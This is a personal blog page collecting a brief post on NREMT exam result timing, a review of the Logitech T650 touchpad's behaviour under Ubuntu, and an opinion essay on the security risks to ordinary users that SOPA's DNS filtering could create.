So, you just took the NREMT exam. If you’re like most candidates, it was probably within the past hour. The anticipation is killing you. It’s a computer-based test for chrissakes! Why can’t they just grade it already?!? Why won’t I get to the point and just give you the answer?!?

Assuming your check and application were filled out correctly, your “written” results should be on the NREMT website within 1-2 business days. (If you want to reduce your stress levels, don’t take the exam on a Friday!) The NREMT is usually pretty quick about getting results online. You’ll get your shiny new card in the mail in a week or two.


The NREMT Cut Me Off After 70 Questions! Did I pass?

Logitech T650 Touchpad on Ubuntu

Note: This article was written a while ago, when the T650 was first released. Things may have changed since.

I was a little hesitant to buy this device given the $80 pricetag and it almost explicitly stating it’s for Windows 8. I got home, unwrapped it and began looking for drivers, or others who have tried to use it on Linux, but there wasn’t much out there.  After trudging through a couple “how to write a linux mouse driver” articles, I set to work. When I took it in to work the next day, it was suddenly working (after a regular upgrade). I’m not sure what caused it to start working, but I’m calling it “mostly functional” on Ubuntu.

I call it “mostly” functional, because it does the basics that a mouse should. You can click, drag, select stuff, and scroll. But that’s about where it ends. The first thing that sticks out is that the box suggests it acts like a touchscreen, but the clicking action is still mechanical (the two front rubber feet are the buttons, and pressing down on the entire pad triggers a click). There is no “tap to click”, not like tapping on a touchscreen, anyway.

Fortunately, it does support right-clicking, although it’s a bit picky about what triggers a right-click. (This doesn’t surprise me, given the direction of UIs anymore…) There’s an area about the size of a postage stamp, near the bottom-right corner, that will trigger a right click if you have a finger in that area while pushing down on the pad. It’s a logical motion, but I think the area is too small. There’s also a 1/4″-1/2″ margin from the edge of the pad to that invisible right-click area that will not trigger a right click.

My favorite feature of the t650 is the scroll gesture. It allows easy vertical AND horizontal scrolling by placing your index finger somewhere on the pad, and then sliding your thumb or middle finger in the direction you want to scroll. Kind of like holding a playing card on the table with one finger, and spinning it around with another. Two-finger swipes are supposedly supported on Windows, but don’t register in Linux (even with cat /dev/input/mouse2). You can zoom by holding Ctrl and making the vertical scrolling motion, just like you could by pressing Ctrl+Scroll on a regular mouse.

The Parts that Don’t work on Linux

First, their SetPoint software is not available for Linux, since it’s designed specifically for Windows 7/8. The pinch/push zoom gesture (ala iPhone/iPad) also doesn’t work (see above for zoom). Surprizingly, the “edge gestures” summon the launcher in Unity, but will not do anything with the menu in Gnome – as far as I’ve tested it anyway. Some of the edge gestures send additional characters – for example, swiping with three fingers from top to bottom will send a lowercase “d” to wherever your cursor is. I was experiencing a backspace character being sent during a left-to-right edge gesture, but I’m no longer able to reproduce that.

My only other issue with this touchpad is that it makes your wrist really sore after using it for a while. I used it most of the day at work, until my wrist started getting sore, and I switched back to my regular mouse. Other than that, it’s not a bad device – I’ll leave it up to you as to whether it’s worth the $80! (Oh yeah – did I mention it’s a proprietary micro-USB-style charger? Yup, you won’t be able to use a standard USB cable should you lose the one that comes in the box.)

Logitech T650 Touchpad on Ubuntu

Stop Online Piracy Act (SOPA) and You

Note: This was written quite a while ago. While the risks are still factual, the politics are well outdated.

This article touches briefly on the security risks associated with the Stop Online Piracy Act (SOPA). If you’re looking for information on possible countermeasures, you may be interested in some of these links:

What is SOPA?

H.R. 3261, also known as the Stop Online Piracy Act (SOPA) is a piece of legislation that is attempting to allow federal censorship of the internet (along with S.968, commonly referred to asthe PROTECT IP act. Both of these pieces of legislation not only threaten our freedom online, but could also have a major effect on internet censorship globally. Politics aside, the act poses several very real security threats to not only the infrastructure of the internet itself, but to the millions of people who use it every day. A whitepaper, published here (direct PDF),presents an in-depth analysis of the technical problems that would be caused by the implementation of DNS-level censorship. I’m not going to discuss the infrastructure risks or politics here, but rather focus on the number of security risks that very likely will present themselves to the average internet user.

Proposed Implementation: DNS Filtering

There are several ways to censor content on the web. With the current Digital Millennium Copyright Act, or DMCA, individual service providers are responsible for removing infringing content. In other words, if I were to post copyrighted content, my hosting provider would be responsible for removing my site, not the government. An ISP can be served with a DMCA takedown notice by anyone who feels their copyright has been infringed, and sites may be taken down with only a “good faith effort” on behalf of the complaintant – it doesn’t even have to be a legitimate takedown notice, it just needs to be filed with good intentions. For the special interests groups (MPAA, RIAA, et al.), this still isn’t enough.

In countries like China, Iran, and Egypt, the national governments handle the censorship. The method that’s been proposed for the US (and is used in some countries) is DNS filtering. Your employer, school, or other organization may employ DNS filtering on a local level, which isn’t so bad for the health of the internet. (It’s also easy to bypass, see this page.)

However, implementing DNS filtering on a nationwide level poses a number of security threats to the internet itself, which in turn create security threats to you, the end user. DNS (Domain Name System) is the system by which your computer translates a web address (http://www.cmattoon.com) to an IP address ( Computers only understand IP addresses, but they’re inconvenient for humans to remember, so we have a “phonebook” (so to speak), that translates an easy-to-remember domain name to an IP address, so that your computer can connect to the correct server. When you type an address into your web browser, the DNS looks up the IP address, and gives it back to your computer. Then, your computer can connect to the site you requested.

DNS Filtering works by giving your computer bad directions. If you wanted to view www.example.com, which contained information that your government felt was unsuitable for you, the DNS would give your computer the IP address of the government’s “Nothing to see here” page. By tampering with the directory system of the internet and re-directing content, you open up the system to exploitation. We’ve worked so hard to improve security and trust online, and tampering with the DNS undermines both of those.

Fact: The Filters WILL Be Bypassed

“Locks are there to keep honest people out” – this saying touches upon the reality that no lock (or filter) will keep determined people from attaining their goal. Teenagers bypass parental controls to look at porn. Employees bypass corporate web filters to get to their favorite sites. The Chinese have been bypassing the “Great Firewall of China” since its inception. No matter what the government tries to throw at people, they’ll eventually find a way to circumvent it. Several tools have already been created for the sole purpose of bypassing anticipated SOPA filters.

Besides using browser add-ons or third-party applications, users can modify their HOSTS file, or change their default DNS servers (say, to a foreign DNS that’s not subject to US law). You can even enter the IP address directly into the URL field, and bypass the DNS altogether (since your computer doesn’t need to look up directions). Aside from manually entering an IP address or installing an approved Firefox add-on, these steps can pose a serious risk to your computer if performed improperly.

Any new technology or change in habit among internet users as a whole opens up new possibilities to malicious hackers, identity thieves, etc. Let’s take a look at the can of worms that SOPA could open.

Problem #1: Malicious Software & Websites

Once the general public is fully aware of the SOPA provisions, perhaps when YouTube is taken down due to SOPA violations, they will begin to look for alternatives. Opportunists will likely develop a million different versions of software that will allow you to view or download the blocked content. While some of these programs may be legitimate, we all know how many virus-ridden, spyware-infested applications are available for download over the internet. Since most people these days have antivirus software installed, this shouldn’t be too much of an issue, right?


Even legitimate software could be used to modify your HOSTS file (perhaps automatically, for ease-of-use), to help you get to your favorite censored website. Currently, Windows protects the HOSTS file against changes, unless accessed with Administrator privleges. Of course, that doesn’t necessarily stop the malicious hackers from gaining access, either directly or through an application. And while your antivirus may catch an attempt to modify the HOSTS file, it will be widely-publicized that modification of the HOSTS file, albeit risky, is not so bad afterall. Therefore, more users will probably just click “ignore”, or simply disable their antivirus when it won’t let them ignore the file. (If you think this isn’t the case, there are hundreds of studies that show people will open just about anything, ignoring all warnings, to get to what they want.)

The second problem with software solutions is that they come with the possibility of intercepting ALL of your internet traffic. For example, a new program that routes traffic around the DNS filters has to know what site you’re requesting, as well as have the means to shuttle information back and forth. A malicious programmer could easily write a program to capture all your login data, and send it off to his computer. Again, this already happens on a daily basis (google: phishing, or see Credential Harvesting with SET).

Software aside, thousands of blogs and websites will appear (and have already started to), telling users how to bypass the DNS filter. The problem is, not all of these websites will be truthful. Be wary of any site telling you to “download this widget” or “allow Administrator access” to a program. Always double-check the information you find online with reputable sources. Don’t simply follow the first tutorial that Google shows you.

Problem #2: Rogue DNS Servers

Additionally, there is the option to modify your DNS settings, so that your computer could query a DNS server in another country that doesn’t have to comply with SOPA. Let me re-state that for clarity:
You can route all of your internet traffic through someone’s server, located in the basement of some guy’s house, on the other side of the world, outside the jurisdiction of US law.

While it’s true that a lot of DNS servers will probably pop up, and a lot of them will be operated by well-intentioned free-speech advocates, companies trying to make a few bucks, or whomever, there WILL be a large number that are operated by malicious people, who would be able to intercept every bit of data you transmit over the internet. (Of course, there’s always the possibility that the “good” DNS servers will be hacked, and your information exploited anyway).

Given that your average internet user knows almost nothing about how the internet works internally, and most of them will click on anything, this is begging for
disaster. Picture every 13 year old who wants to download the latest Hannah Montana song following a tutorial on how to tamper with DNS server settings. This isn’t speculation, it can and WILL happen. If you don’t believe me, ask the IT department at your local middle school how many hours were spent un-fucking their network and applying security patches and upgrades because of some kid bypassing filters or modifying network settings. (I know, I was that kid.)

Or check out forum posts like this, this, this, and this.

Problem #3: Social Engineering

As more and more people start to bypass the DNS filtering put in place by Uncle Sam, they’ll be familiar with lots of warnings, antivirus temper tantrums, and words of wisdom. And just like they do now, they’ll ignore them. Why? Because it’ll be so commonplace. If you’re an Internet Explorer user, think of the last time the Information Bar appeared, and you just clicked the “Yeah, whatever. Show me what I’m looking for” option? How many times have you let a Java or JavaScript app run, without having the foggiest idea as to what it does? We do it all the time. We know the pop-up blocker is there for our own good, but we add exceptions without thinking, because we figure it’s being overly-sensitive. We allow programs to modify files and settings on our computer when we install new programs, and we don’t even know what they’re modifiying. What makes anyone think this won’t be a BIGGER problem when the content-sharing sites that so many of us love are blocked?

As people become accustomed to ignoring more and more errors and warnings, more opportunities will present for the malicious hackers. Again, the human element (stupidity and complacency) are huge factors in compromising networks and computers. Tons of survey sites, giveaway programs, adware, and sketchy porn sites are notoriously infested with stuff that’s bad for your computer. Fortunately, most of us don’t have a reason to visit shady web sites, and are wise to their scams, so that part of the internet isn’t a huge threat to educated internet users.

But what about a website that explains how their new program can let you watch YouTube videos again? It’s free (honest) just download our new toolbar and make sure it’s running anytime you’re online – particularly when you’re checking your bank accounts, e-mail, or entering credit card information. Bet the farm that, if
SOPA or PROTECT IP pass, the internet will see tons of these sites popping up. Everything from spyware-infested toolbars to “secure” proxy sites to DIY tutorials written in barely-legible English.

I’ve also mentioned previously that it’s possible to use DNS servers outside of the US. If this becomes a popular method to bypass the filtering, users will eventually become comfortable (or at least accustomed to) routing their internet traffic overseas. They’ll get used to the slower connection time (because of the longer distance) and other hassles that come with it. But alas, even the more cautious people will eventually slip up and check their bank account in a hurry, forgetting that everything is potentially exposed, and their information will be in the hands of the malicious server operator. It only takes one slip-up, and your information could be stolen.


No matter which way you look at it, SOPA and PIPA are horrible ideas.

From a political stance, they promote the expansion of government (who’s going to monitor all this? Certainly, we’ll need a new department!) and infringement of first-amendment rights. It eliminates internet freedom in favor of a special-interests group (RIAA/MPAA), and will not stop piracy anyway. Hell, even RIAA and DHS employees have been caught downloading illegal music at work. It’s a gateway to more thorough internet censorship (give them an inch, they’ll take a mile), and similar laws have already been abused. It tampers with the inner workings of the internet, compromises state-of-the-art authentication techniques (DNSSEC), and exposes users to numerous security threats, viruses and cyberattacks.

Internet piracy, along with malware in all forms, is here to stay. People love free stuff, and will go out of their way to NOT pay for their music. After all, who has $30,000 to fill up their iPod? (I know, that’s a poor excuse). In addition, this sets a dangerous precident globally. Other countries may start to ask: If the United States, the epitome of liberty & freedom, can censor the internet, why can’t we?

Stop Online Piracy Act (SOPA) and You